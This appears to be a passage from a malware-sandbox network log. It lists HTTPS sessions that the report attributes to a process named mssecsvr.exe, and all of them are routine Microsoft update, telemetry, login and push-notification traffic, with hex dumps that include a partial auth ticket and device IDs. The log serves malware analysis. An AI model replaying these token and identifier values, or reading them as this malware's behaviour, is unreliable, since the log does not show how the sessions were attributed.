3d 32 26 50 45 52 53 49 44 3d 38 38 33 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=483128778&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=AA823973AFE94F8286F7C63B37967D6E&ASID=43324800f8964087bf2401263c4e2851&TIME=20220720T224438Z&SLOT=1&REQT=20220720T134358&MA_Score=2&PERSID=883
2022-07-20 13:45:28 UTC	8698	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:45:27 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	53357	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:28 UTC	8699	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:28 UTC	8699	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9c8e6df0-2b0c-4c5c-b841-27a0d8e5974b MS-RequestId: edfe8a65-10c3-4f2a-a139-c9bdd1c41fe3 MS-CV: tr0I/Fb1t0CwJFwU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:28 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:28 UTC	8700	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:28 UTC	8715	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:28 UTC	8731	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	53420	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:29 UTC	8735	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=483128778&PG=PC000P0FR5.0000000IRT&REQASID=AA823973AFE94F8286F7C63B37967D6E&UNID=338388&ASID=43324800f8964087bf2401263c4e2851&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=77af70d3a32e49dc9ef17542880db57f&DEVOSVER=10.0.17134.1&REQT=20220720T134358&TIME=20220720T224437Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:29 UTC	8735	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: aaac9c0d-4dc8-4f95-8158-3a7c01ad7f82 Date: Wed, 20 Jul 2022 13:45:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	50219	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	82	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 13:43:48 UTC	82	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	102	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 5fc5936d-c195-4f7e-9e9e-fdea05146456 PPServer: PPV: 30 H: BL02PFBDEB99CA0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:47 GMT Connection: close Content-Length: 10793
2022-07-20 13:43:48 UTC	103	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	53419	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:29 UTC	8735	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:29 UTC	8737	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 343bcb7d-8dfc-4735-a18e-d3974de54b57 MS-RequestId: 956012ff-d770-49c8-b81a-5525517bad6b MS-CV: wsySri/qgkWvUpB3.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:29 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:29 UTC	8737	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:29 UTC	8753	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:29 UTC	8769	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	53430	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:29 UTC	8736	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=483128778&PG=PC000P0FR5.0000000IRT&REQASID=AA823973AFE94F8286F7C63B37967D6E&UNID=338388&ASID=43324800f8964087bf2401263c4e2851&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=77af70d3a32e49dc9ef17542880db57f&DEVOSVER=10.0.17134.1&REQT=20220720T134358&TIME=20220720T224439Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:29 UTC	8736	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a336eaf4-8f38-4726-a28e-b3765eb2d86c Date: Wed, 20 Jul 2022 13:45:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	54188	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:42 UTC	8772	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 37 62 66 37 37 64 61 39 65 65 34 36 62 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: a07bf77da9ee46be
2022-07-20 13:45:42 UTC	8772	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:45:42 UTC	8772	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 37 62 66 37 37 64 61 39 65 65 34 36 62 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: a07bf77da9ee46be<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:45:42 UTC	8773	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 37 62 66 37 37 64 61 39 65 65 34 36 62 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: a07bf77da9ee46be<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:45:42 UTC	8774	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:45:42 UTC	8774	IN	Data Raw: 4d 53 2d 43 56 3a 20 61 75 38 69 6f 42 4c 55 79 45 57 34 4b 48 4f 69 67 52 2b 62 59 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: au8ioBLUyEW4KHOigR+bYQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	54683	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:52 UTC	8774	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 64 33 30 64 30 61 64 35 34 34 66 39 65 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: e8d30d0ad544f9e1
2022-07-20 13:45:52 UTC	8774	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:45:52 UTC	8774	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 64 33 30 64 30 61 64 35 34 34 66 39 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: e8d30d0ad544f9e1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:45:52 UTC	8775	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 64 33 30 64 30 61 64 35 34 34 66 39 65 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: e8d30d0ad544f9e1
2022-07-20 13:45:52 UTC	8775	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:45:52 UTC	8775	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 45 66 42 74 68 6f 38 41 55 75 63 5a 6c 6b 4f 61 62 66 65 6d 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qEfBtho8AUucZlkOabfemA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	55125	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:59 UTC	8775	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224527Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
